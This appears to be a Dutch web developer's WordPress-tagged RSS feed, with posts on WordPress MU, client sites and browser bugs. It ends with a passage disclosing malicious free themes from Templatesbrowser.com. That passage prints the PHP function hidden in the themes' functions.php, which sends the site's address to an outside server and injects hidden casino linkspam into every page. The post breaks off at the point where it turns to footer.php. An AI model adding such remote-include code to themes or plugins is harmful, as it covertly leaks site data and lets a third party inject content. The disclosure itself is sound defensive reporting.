<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wessel Zweers &#187; WordPress</title>
	<atom:link href="http://www.laterna.nl/tag/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://www.laterna.nl</link>
	<description>bouw, beheer en redactie van websites</description>
	<lastBuildDate>Wed, 16 Dec 2009 07:54:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Een jaar ervaring met WordPress MU</title>
		<link>http://www.laterna.nl/200912/wordpress-mu-ervaringen.php</link>
		<comments>http://www.laterna.nl/200912/wordpress-mu-ervaringen.php#comments</comments>
		<pubDate>Mon, 14 Dec 2009 08:51:37 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Commentaar]]></category>
		<category><![CDATA[Ontwikkelingen]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[open-source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/?p=1632</guid>
		<description><![CDATA[Najaar 2008 maakte ik voor het eerst kennis met WordPress MU, na ruim een jaar wordt het tijd om mijn ervaringen op een rijtje te zetten. WordPress MU&#8230; wat is dat? Even uitleggen: WordPress (wordpress.org) is een open-source pakket waarmee je weblogs en niet al te ingewikkelde websites kunt maken. WordPress MU (mu.wordpress.org) is in [...]]]></description>
			<content:encoded><![CDATA[<p>Najaar 2008 maakte ik voor het eerst kennis met WordPress MU, na ruim een jaar wordt het tijd om mijn ervaringen op een rijtje te zetten.</p>
<h2>WordPress MU&#8230; wat is dat?</h2>
<p>Even uitleggen: WordPress (<a href="http://wordpress.org/">wordpress.org</a>) is een open-source pakket waarmee je weblogs en niet al te ingewikkelde websites kunt maken. WordPress MU (<a href="http://mu.wordpress.org/">mu.wordpress.org</a>) is in feite hetzelfde, maar met het verschil dat je het maar één keer hoeft te installeren om meerdere websites op te zetten. MU (spreek uit <em>mjoe</em>) staat dan ook voor <em>multi-use</em>.</p>
<p><a href="http://wordpress.org/extend/themes/">Themes</a> (om je WordPress-site een eigen smoel te geven) en <a href="http://wordpress.org/extend/plugins/">plugins</a> (extra snufjes) hoef je maar één keer te installeren. Per website kun je beslissen deze wel of niet te activeren. Elke WordPress MU-website draait naar keuze op een eigen subdomein (<em>sitenaam.laterna.nl</em>), of in een submap (<em>laterna.nl/sitenaam</em>).</p>
<p>Het ei van Columbus voor wie meerdere WordPress-websites beheert? Soms wel, soms niet. Hieronder mijn bevindingen.</p>
<h2>Voordelen van WordPress MU?</h2>
<p><strong>Uniformiteit in beheer</strong><br />
Zoals gezegd hoef je bij WordPress MU alle themes en plugins maar één keer te installeren. Dus zodra een nieuwe versie van een plugin verschijnt, hoef je die maar eenmalig bij te werken. Dat scheelt veel werk als je heel veel websites beheert. Zeker als het gaat om een <a href="http://wordpress.org/development/2009/11/wordpress-2-8-6-security-release/">security-upgrade</a> is het belangrijk om snel om te kunnen schakelen naar een veilige nieuwe versie.</p>
<p><strong>Meertalige websites</strong><br />
WordPress MU is handig bij het opzetten van een meertalige website. Voor elke taal maak je een nieuwe website aan. Bouw in de layout een taalswitch in en je bent al een heel eind op streek.</p>
<p><strong>Backups</strong><br />
WordPress MU stopt de data van alle websites in één en dezelfde MySQL-database. Je hoeft dus maar één database te backuppen. Maak je een nieuwe website aan op dezelfde WPMU-installatie? Als je eenmaal hebt gezorgd voor een <a href="http://codex.wordpress.org/WordPress_Backups">goede backupprocedure</a>, dan wordt de nieuwe website automatisch meegenomen.</p>
<p><strong>OTAP</strong><br />
Complexe websites worden vaak volgens het <a href="http://nl.wikipedia.org/wiki/Ontwikkeling,_test,_acceptatie_en_productie">OTAP-stappenplan</a> opgezet (Ontwikkeling, Test, Acceptatie, Productie), of een vereenvoudigde versie daarvan, bijvoorbeeld alleen Test en Productie. In WordPress MU kun je voor elk van deze stappen een aparte website aanmaken. Zodra een stap is afgerond, kun je de website overkopiëren naar de volgende website. Alle websites draaien echter op dezelfde server, waardoor je minder snel voor verrassingen komt te staan als een website live gaat.</p>
<p><strong>Aggregatie</strong><br />
Heb je een hele serie weblogs onder WordPress MU en wil je een voorpagina maken met een overzicht van de laatste blogberichten, of een tagcloud van alle blogs? Er bestaan diverse plugins die dit voor je kunnen doen, zoals <a href="http://wpmudev.org/project/AHP-Sitewide-Recent-Posts-for-WPMU">AHP Sitewide Recent Posts for WPMU</a> en <a href="http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/">WordPress MU Sitewide Tags Pages</a>. Een voorbeeld van zo&#8217;n totaaloverzicht zie je op <a href="http://weblogs.nos.nl">weblogs.nos.nl</a> en <a href="http://www.blogo.nl">www.blogo.nl</a>.</p>
<p><strong>Geavanceerde rechtenstructuur</strong><br />
Bij WordPress werd al onderscheid gemaakt tussen auteurs en beheerders, maar bij WordPress MU gaat de rechtenstructuur nog een stap verder. Je hebt daar beheerders voor de hele WordPress MU-installatie en ook beheerders per afzonderlijke site, of combinatie daarvan. Gebruikers kunnen zowel redacteur als beheerder zijn, of zelfs redacteur van de ene site en beheerder van de andere site. Je hoeft maar één keer je wachtwoord te wijzigen en de wijziging geldt voor alle websites.</p>
<h2>En de nadelen van WordPress MU?</h2>
<p>Tot zover allemaal goed nieuws. Afgelopen jaar heb ik ook een aantal minpunten van WordPress MU ondervonden.</p>
<p><strong>Beperkte compatibiliteit</strong><br />
Het overgrote deel van alle WordPress-plugins en themes is gemaakt voor de klassieke WordPress-versie. De meeste draaien ook wel op WordPress MU, maar soms vraagt het wat extra programmeerinspanning om een <a href="http://codex.wordpress.org/WPMU_Plugin_Compatibility">plugin</a> of <a href="http://codex.wordpress.org/WPMU_Theme_Compatibility">theme</a> ook daar goed te laten werken. Het is me ook zelf overkomen: je koopt voor 75 dollar een mooi WordPress-theme, bij installatie blijkt die niet geschikt voor WPMU, maar dat stond niet op de site toen ik dat theme kocht.</p>
<p><strong>Downtime bij upgraden</strong><br />
Is er een belangrijke nieuwe WordPress-versie verschenen? Bij WPMU hoef je maar één installatie te upgraden. Maar dat is tegelijkertijd ook een nadeel: mocht de upgrade niet vlekkeloos verlopen (bijvoorbeeld omdat een van de plugins niet compatibel is met de nieuwe versie), dan zijn álle websites op die installatie uit de lucht totdat jij het probleem hopelijk hebt opgelost.</p>
<p><strong>Grotere kwetsbaarheid</strong><br />
Ook hacks brengen grotere risico&#8217;s met zich mee bij WordPress MU. Zoals gezegd maken alle websites gebruik van dezelfde MySQL-database. Als een WPMU-installatie is gekraakt, dan kunnen álle websites verloren gaan.</p>
<p><strong>Niet up-to-date</strong><br />
WordPress MU is gebaseerd op de programmeercode van WordPress. Zodra een beveiligingslek wordt gevonden, verschijnt een nieuwe versie van WordPress. Daarna duurt het meestal een paar dagen, of zelfs nog langer, voordat ook WordPress MU eindelijk is bijgewerkt.<br />
Uiteraard heb ik er begrip voor dat open-source software grotendeels vrijwilligerswerk is en dat veel ontwikkelaars dit naast hun reguliere baan doen. Toch zit deze vertraging in het updaten van WPMU mij niet lekker. Voor hackers is het immers een kleine moeite om een script te schrijven dat internet afzoekt naar WordPress MU-websites die nog niet up-to-date zijn. Als het dagen duurt voordat een WPMU-site weer veilig is, dan hebben ze zeeën van tijd om toe te slaan.</p>
<p><strong>Subdomeinen en submappen</strong><br />
Zoals gezegd kun je bij de installatie van WordPress MU kiezen of een website een subdomein (<em>sitenaam.laterna.nl</em>) of een submap (<em>laterna.nl/sitenaam</em>) moet worden van het hoofddomein. Die keuze kun je maar één keer maken. Het is wel mogelijk om later alsnog te switchen van het een naar het ander, maar dat is bepaald niet eenvoudig en de benodigde stappen worden bij mijn weten nergens op de officiële website uitgelegd (wel op <a href="http://welcome.totheinter.net/2009/05/06/changing-wordpress-mu-from-subdomains-to-subdirectories/">particuliere blogs</a>). Doorgaans wordt aangeraden om in deze situatie <a href="http://mu.wordpress.org/forums/topic/11308">alles opnieuw te installeren</a>.<br />
Verder heeft WordPress MU nog een onhebbelijkheid: hij laat standaard <em>www.</em> in het adres van het hoofddomein weg. Mijn website heeft daardoor een jaar lang <em>laterna.nl</em> als adres gehad, in plaats van <em>www.laterna.nl</em>.<br />
Nu maakte dat in de praktijk niet zo gek veel uit: je werd van <em>www.laterna.nl</em> automatisch doorgelinkt naar <em>laterna.nl</em>. En ook hier kun je <a href="http://britg.com/2008/11/27/wordpress-mu-stubornly-forces-no-www-subdomains-huh-and-how-to-fix-it/">met enig kunst- en vliegwerk</a> het <em>www.</em> wel weer terugkrijgen in het adres. Toch raakt dit bij mij een principieel punt: ik wil dit soort dingen zélf beslissen. Waarom moet WPMU per se afwijken van de conventie dat alle webadressen met www beginnen?</p>
<p><strong>Conflicten met andere toepassingen</strong><br />
Zodra je op een Linux-server kiest voor installatie van WordPress MU op subdomeinen, dan kunnen er complicaties optreden. Afhankelijk van hoe je de DNS hebt gewijzigd, kunnen bestaande subdomeinen opeens niet meer werken, bijvoorbeeld webmail.laterna.nl. Dit is allemaal wel op te lossen, maar het rechtzetten van DNS-settings is tijdrovend omdat sommige wijzigingen pas na enkele uren effect hebben.<br />
Als je geen toegang hebt tot je eigen DNS, dan is mijn advies: installeer WPMU-websites als submappen, niet als subdomeinen &#8211; het kan je een heleboel rompslomp schelen.</p>
<h2>Kortom?</h2>
<p>Het is niet mijn bedoeling om WordPress MU hier af te kraken &#8211; alleen maar om de plussen en minnen in kaart te brengen.</p>
<p>Voor mij persoonlijk is WPMU niet de juiste oplossing gebleken. Ik beheer maar een handjevol weblogs en ben tot de conclusie gekomen dat WordPress MU in mijn situatie meer overhead oplevert dan bespaart. Inmiddels ben ik weer teruggegaan naar afzonderlijke WP-installaties.</p>
<p>Toch zijn er situaties waar WPMU wel degelijk een goede oplossing is. Ik denk dan aan een combinatie van de volgende omstandigheden:</p>
<ul>
<li>schaal: je hebt te maken met meer dan pakweg 5 WordPress-websites</li>
<li>uniformiteit: alle websites hebben grote overeenkomsten in vormgeving en functionaliteit, zodat het beheer van themes en plugins overzichtelijk blijft</li>
<li>heldere taakverdeling: je werkt met meerdere mensen en kunt de taken van <em>admin</em> en <em>author</em> goed scheiden</li>
</ul>
<p>Ook denk ik dat WordPress MU hogere eisen stelt aan de rol van beheerder:</p>
<ul>
<li>technische kennis: Linux, DNS, PHP, MySQL-databases, zelf kunnen sleutelen aan themes en plugins (mochten deze niet goed werken in WPMU)</li>
<li>beschikbaarheid: in geval van beveiligingsincidenten moet de admin snel kunnen ingrijpen en tijdens zijn vakantie moet er altijd een plaatsvervanger zijn</li>
</ul>
<p>Kan jouw organisatie of team voldoen aan deze voorwaarden? Ga dan gerust aan de slag met WordPress MU, bij verantwoord gebruik zul je er veel plezier van hebben.</p>
<p>En anders: denk er nog eens goed over na. Misschien is dan de klassieke versie van WordPress nog zo gek niet &#8211; ook al moet je die voor elke website apart installeren.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200912/wordpress-mu-ervaringen.php/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Nieuwe rubriek met WordPress-handleidingen</title>
		<link>http://www.laterna.nl/200909/wordpress-handleidingen.php</link>
		<comments>http://www.laterna.nl/200909/wordpress-handleidingen.php#comments</comments>
		<pubDate>Sun, 13 Sep 2009 20:52:12 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Handig]]></category>
		<category><![CDATA[handleidingen]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://laterna.nl/?p=910</guid>
		<description><![CDATA[Rechtsboven is een nieuwe rubriek toegevoegd: Documentatie. Hier vind je een selectie van handleidingen en presentaties die ik ooit heb gemaakt voor opdrachtgevers en zakelijke relaties. Ze zijn echter zo algemeen dat ook andere geïnteresseerden er hun voordeel mee kunnen doen.]]></description>
			<content:encoded><![CDATA[<p>Rechtsboven is een nieuwe rubriek toegevoegd: <a href="/documentatie">Documentatie</a>. Hier vind je een selectie van handleidingen en presentaties die ik ooit heb gemaakt voor opdrachtgevers en zakelijke relaties. Ze zijn echter zo algemeen dat ook andere geïnteresseerden er hun voordeel mee kunnen doen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200909/wordpress-handleidingen.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Werk in uitvoering</title>
		<link>http://www.laterna.nl/200811/werk-in-uitvoering.php</link>
		<comments>http://www.laterna.nl/200811/werk-in-uitvoering.php#comments</comments>
		<pubDate>Sat, 15 Nov 2008 12:28:43 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://laterna.nl/?p=252</guid>
		<description><![CDATA[Sinds enkele dagen draait deze site bij wijze van experiment op WordPress MU, waarmee je verschillende WordPress-websites vanuit één installatie kunt onderhouden. Naast veranderde techniek ook veranderde vormgeving: gebaseerd op The Morning After, een simpele maar overzichtelijke vormgeving voor webmagazine-achtige websites. Al mijn persoonlijke berichten op deze site ben ik aan het verhuizen naar een [...]]]></description>
			<content:encoded><![CDATA[<p>Sinds enkele dagen draait deze site bij wijze van experiment op <a href="http://mu.wordpress.org">WordPress MU</a>, waarmee je verschillende WordPress-websites vanuit één installatie kunt onderhouden.<br />
<span id="more-252"></span><br />
Naast veranderde techniek ook veranderde vormgeving: gebaseerd op <a href="http://code.google.com/p/the-morning-after/">The Morning After</a>, een simpele maar overzichtelijke vormgeving voor webmagazine-achtige websites. Al mijn persoonlijke berichten op deze site ben ik aan het verhuizen naar een persoonlijke weblog, eveneens onderhouden met WordPress MU.</p>
<p>En er moet nog veel meer gebeuren. Het belangrijkste is dat de vormgeving naar het Nederlands moet worden vertaald. Ook ben ik nog niet tevreden over het beeldmateriaal en de toegankelijkheid van statische pagina&#8217;s. En verder lijkt het me handig om alle berichten met terugwerkende kracht van tags te voorzien en een tagcloud toe te voegen. Zo blijkt maar weer: een website is nooit af&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200811/werk-in-uitvoering.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nieuwe website Rolling Sticks</title>
		<link>http://www.laterna.nl/200806/nieuwe-website-rolling-sticks.php</link>
		<comments>http://www.laterna.nl/200806/nieuwe-website-rolling-sticks.php#comments</comments>
		<pubDate>Thu, 19 Jun 2008 09:07:06 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[foto's]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200806/portfolio-rolling-sticks.php</guid>
		<description><![CDATA[Afgelopen zaterdag is de nieuwe website van drumschool Rolling Sticks in Gouda live gegaan. De site is ontworpen door Arjan van der Weide, de teksten en bedrijfsmatige adviezen zijn van Maurits Speksnijder, en Laterna zorgde voor de vertaling van grafisch ontwerp naar HTML en CSS, en voor de bouw van de site in WordPress. Bij [...]]]></description>
			<content:encoded><![CDATA[<p>Afgelopen zaterdag is de nieuwe website van <a href="http://www.rollingsticks.nl">drumschool Rolling Sticks</a> in Gouda live gegaan. De site is ontworpen door Arjan van der Weide, de teksten en bedrijfsmatige adviezen zijn van Maurits Speksnijder, en Laterna zorgde voor de vertaling van grafisch ontwerp naar HTML en CSS, en voor de bouw van de site in WordPress.</p>
<p>Bij WordPress is speciale aandacht besteed aan zoekmachinevriendelijke pagina&#8217;s en aan het spamvrij houden van het gastenboek en het contactformulier. Hiervoor zijn verschillende WordPress-plugins ingezet, waaronder <a href="http://akismet.com/">Akismet</a>, <a href="http://wp.uberdose.com/2007/03/24/all-in-one-seo-pack/">All in One SEO Pack</a>, <a href="http://www.raproject.com/comment-sorter/">WP Comment Sorter</a>, <a href="http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/">Google XML Sitemaps</a>, en niet te vergeten het krachtige en gebruiksvriendelijke <a href="http://www.deliciousdays.com/cforms-plugin">cFormsII</a>.</p>
<p>Nog niet zichtbaar op de site is <a href="http://alexrabe.boelinger.com/wordpress-plugins/nextgen-gallery/">NextGEN Gallery</a>, een fantastische plugin om WordPress-websites uit te breiden met diashows.</p>
<p>Dankzij een zelfgeschreven conversieprogramma is het gelukt om het gastenboek van de oude website naar WordPress om te zetten.</p>
<p><a href="http://www.rollingsticks.nl"><img src='http://www.laterna.nl/wp-content/uploads/2008/06/rollingsticks2008schermafdruk.jpg' alt='Rolling Sticks' /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200806/nieuwe-website-rolling-sticks.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netkwesties start weblog</title>
		<link>http://www.laterna.nl/200710/portfolio-netkwesties-start-weblog.php</link>
		<comments>http://www.laterna.nl/200710/portfolio-netkwesties-start-weblog.php#comments</comments>
		<pubDate>Mon, 22 Oct 2007 11:06:30 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[journalistiek]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200710/portfolio-netkwesties-start-weblog.php</guid>
		<description><![CDATA[Het e-magazine Netkwesties stapt na zeven jaar gedeeltelijk af van de formule met diepgravende achtergrondartikelen en heeft sinds afgelopen weekend een weblog: weblog.netkwesties.nl. De nieuwe weblog bleek een leerzame vingeroefening met WordPress, aangevuld met enkele welgekozen plugins, zoals de Social News Nederland en Get Recent Comments.]]></description>
			<content:encoded><![CDATA[<p>Het e-magazine <a href="http://www.netkwesties.nl">Netkwesties</a> stapt na zeven jaar gedeeltelijk af van de formule met diepgravende achtergrondartikelen en heeft sinds afgelopen weekend een weblog: <a href="http://weblog.netkwesties.nl">weblog.netkwesties.nl</a>. De nieuwe weblog bleek een leerzame vingeroefening met WordPress, aangevuld met enkele welgekozen plugins, zoals de <a href="http://www.marketingland.nl/downloads/">Social News Nederland</a> en <a href="http://blog.jodies.de/archiv/2004/11/13/recent-comments/">Get Recent Comments</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200710/portfolio-netkwesties-start-weblog.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vernieuwde website Martijn de Groot Communicatie</title>
		<link>http://www.laterna.nl/200708/vernieuwde-website-martijn-de-groot-communicatie.php</link>
		<comments>http://www.laterna.nl/200708/vernieuwde-website-martijn-de-groot-communicatie.php#comments</comments>
		<pubDate>Thu, 09 Aug 2007 11:32:52 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200708/portfolio-martijndegrootcommunicatie.php</guid>
		<description><![CDATA[Communicatieadviseur Martijn de Groot heeft al sinds 2005 een eigen website, ontworpen door SAFvisuals. Deze prachtige maar volledig in Flash gebouwde site bleek echter slecht vindbaar in Google. Ook wilde Martijn de site zelf kunnen onderhouden. Laterna heeft de site daarom van de grond af aan opnieuw gebouwd met HTML en CSS, en het resultaat [...]]]></description>
			<content:encoded><![CDATA[<p>Communicatieadviseur Martijn de Groot heeft al sinds 2005 <a href="http://www.martijndegroot.com">een eigen website</a>, ontworpen door <a href="http://www.safvisuals.com/">SAFvisuals</a>. Deze prachtige maar volledig in Flash gebouwde site bleek echter slecht vindbaar in Google. Ook wilde Martijn de site zelf kunnen onderhouden.</p>
<p><a href="http://www.martijndegroot.com"><img src="http://www.laterna.nl/wp-content/uploads/2007/08/martijndegroot.jpg" alt="martijndegroot.communicatie" /></a></p>
<p>Laterna heeft de site daarom van de grond af aan opnieuw gebouwd met HTML en CSS, en het resultaat <a href="http://www.laterna.nl/200704/een-simpele-zakelijke-website-met-wordpress.php">overgezet naar WordPress</a>. Net als bij <a href="http://www.laterna.nl/200706/nieuwe-website-lopende-zaken.php">Lopende Zaken</a> is hard gewerkt om de site ook perfect te krijgen in de belangrijkste Mac-browsers, Safari en Firefox. Een belangrijk hulpmiddel daarvoor is <a href="http://www.browsercam.com/">BrowserCam</a>, een betaalde dienst die je site laat zien op elk gewenst platform, in elke gewenste browser en in elke gangbare beeldschermresolutie.</p>
<p>Voor technisch onderlegde lezers volgen hier enkele browserproblemen waarmee ik te maken kreeg:</p>
<ul>
<li>Op sommige pagina&#8217;s rouleert de foto linksboven met een overvloei-effect. Daarvoor had ik in eerste instantie een Flash-animatie gebruikt, gemaakt met het handige <a href="http://www.laterna.nl/200707/freeware-voor-simpele-flash-animaties.php">FlashSlider</a>. Dit bleek echter in Firefox een onoplosbaar probleem op te leveren: als je met behulp van <em>layers</em> een element bovenop een Flash-animatie plaatst &#8211; in dit geval de kop martijndegroot.communicatie &#8211; dan verdwijnt dat element in Firefox steevast ónder de animatie.<br />
De oplossing: de Flash-animatie vervangen door een stuk Javascript, de <a href="http://www.dynamicdrive.com/dynamicindex14/fadeinslideshow.htm">Ultimate Fade-in slideshow</a>. Dit op zich voortreffelijke script leverde weer een ander, heel curieus browserprobleem op in Safari (bij elke fotowisseling wordt de <em>z-index</em> van de foto 1 opgehoogd, waardoor de kop na zekere tijd alsnog verdwijnt), maar die waren op te lossen door de kop martijndegroot.communicatie een hele hoge <em>z-index</em> te geven.</li>
<li>Ook de horizontale navigatiebalk leverde problemen op in Safari: de witte onderkopjes verschenen niet als je met je muis over de cijfers 1.0 t/m 4.0 bewoog. Na een paar uur puzzelen de oorzaak gevonden: in Safari blijk je met Javascript wel de CSS-eigenschappen van een gegeven blok te kunnen manipuleren, maar niet als die eigenschappen geërfd zijn van een groter blok, de zogeheten <em>parent</em>.</li>
<li>De broodtekst liet weer een bug in Internet Explorer zien: bij cursieve teksten verschoof de rechtermarge naar rechts. Dit probleem en de oplossing worden beschreven op <a href="http://www.positioniseverything.net/explorer/italicbug-ie.html">Positioniseverything.net</a>. Opgelost met een extra CSS-regel <em>overflow: hidden</em>.</li>
<li>Nog een overflow-probleem in de lichtkrant-achtige regels onder de broodtekst. Het CSS-kenmerk <em>overflow: hidden</em> blijkt in de meeste browsers niet te werken als de tekst op <em>nowrap</em> staat en ook nog relatief wordt gepositioneerd. Met dank aan mailinglijst <a href="http://www.webprof.nl">WebProf</a> vond ik een &#8216;hack&#8217; voor Internet Explorer, maar in Opera (Windows) en Safari (Mac) bleef het probleem bestaan. De enige uitweg: deze regels links en rechts handmatig afkappen. Niet bijster elegant, maar als tijd en budget op zijn, dan is een pragmatische oplossing beter dan helemaal geen oplossing.</li>
</ul>
<p>Ter vergelijking: de oude Flash-website staat voorlopig nog even <a href="http://www.martijndegroot.com/oud/">hier</a> geparkeerd.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200708/vernieuwde-website-martijn-de-groot-communicatie.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Templatesbrowser.com en de blogosfeer</title>
		<link>http://www.laterna.nl/200708/templatesbrowsercom-en-de-blogosfeer.php</link>
		<comments>http://www.laterna.nl/200708/templatesbrowsercom-en-de-blogosfeer.php#comments</comments>
		<pubDate>Thu, 09 Aug 2007 07:04:11 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Commentaar]]></category>
		<category><![CDATA[Ontwikkelingen]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[weblog]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200708/templatesbrowsercom-en-de-blogosfeer.php</guid>
		<description><![CDATA[Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo&#8217;n drie maanden ontdekte Onno&#8217;s Follow That Page een rare link in mijn site en had ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes. Een enorme beveiligingsinbreuk, maar [...]]]></description>
			<content:encoded><![CDATA[<p>Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo&#8217;n drie maanden ontdekte Onno&#8217;s <a href="http://www.followthatpage.com/">Follow That Page</a> een rare link in mijn site en had ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: <a href="http://www.laterna.nl/200705/templatesbrowsercom-linkspam-wordpress.php">de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes</a>.</p>
<p>Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld <a href="http://weblogtoolscollection.com/archives/2007/08/04/warning-templatebrowser-dot-com/">dit</a> en <a href="http://5thirtyone.com/archives/837">dit</a>. Ook een nieuw berichtje op Digg krijgt volle aandacht: <a href="http://digg.com/security/WARNING_WordPress_your_theme_might_have_malicious_code">WARNING! WordPress &amp; Joomla; your theme might have malicious code</a>. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200708/templatesbrowsercom-en-de-blogosfeer.php/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Verborgen linkspam van Templatesbrowser.com in WordPress-weblogs</title>
		<link>http://www.laterna.nl/200705/templatesbrowsercom-linkspam-wordpress.php</link>
		<comments>http://www.laterna.nl/200705/templatesbrowsercom-linkspam-wordpress.php#comments</comments>
		<pubDate>Fri, 18 May 2007 16:56:30 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Commentaar]]></category>
		<category><![CDATA[Ontwikkelingen]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200705/templatesbrowsercom-stopt-linkspam-in-wordpress.php</guid>
		<description><![CDATA[Vorige maand roemde ik op deze plek de duizenden gratis WordPress-themes die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer Onno en zijn onvolprezen dienst Follow That Page ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites &#8211; kortom [...]]]></description>
			<content:encoded><![CDATA[<p>Vorige maand roemde ik op deze plek de duizenden <a href="http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php">gratis WordPress-themes</a> die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer <a href="http://www.onnoot.com">Onno</a> en zijn onvolprezen dienst <a href="http://www.followthatpage.com">Follow That Page</a> ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites &#8211; kortom linkspam. En dit is de site die daarvoor verantwoordelijk is: <a href="http://www.templatesbrowser.com/wordpress-themes/">www.templatesbrowser.com/wordpress-themes/</a>.</p>
<p><strong>Hoe werkt Templatesbrowser.com?</strong><br />
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:</p>
<blockquote><p>
function credits()<br />
{<br />
 $url = &#8220;http://get.templatesbrowser.com/wp.php?&#8221; .<br />
       &#8220;url=&#8221; . urlencode($_SERVER['REQUEST_URI']) . &#8220;&amp;&#8221; . &#8220;host=&#8221; . urlencode($_SERVER['HTTP_HOST']);<br />
 $check = @fsockopen(&#8220;get.templatesbrowser.com&#8221;, 80, $errno, $errstr, 3);<br />
 if($check)<br />
 {<br />
  @readfile($url);<br />
  fclose($check);<br />
 }<br />
}
</p></blockquote>
<p>Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:</p>
<blockquote><p>http://get.templatesbrowser.com/wp.php?url=%2F&amp;host=www.laterna.nl</p></blockquote>
<p>In mijn geval geeft de server de volgende code terug:</p>
<blockquote><p>&lt;div id=&#8221;copyl&#8221; style=&#8221;display: none;&#8221;&gt;&lt;a href=&#8221;http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr&#8221;&gt;casino en ligne&lt;/a&gt;&lt;/div&gt;</p></blockquote>
<p>Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging &#8216;display: none&#8217; is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:</p>
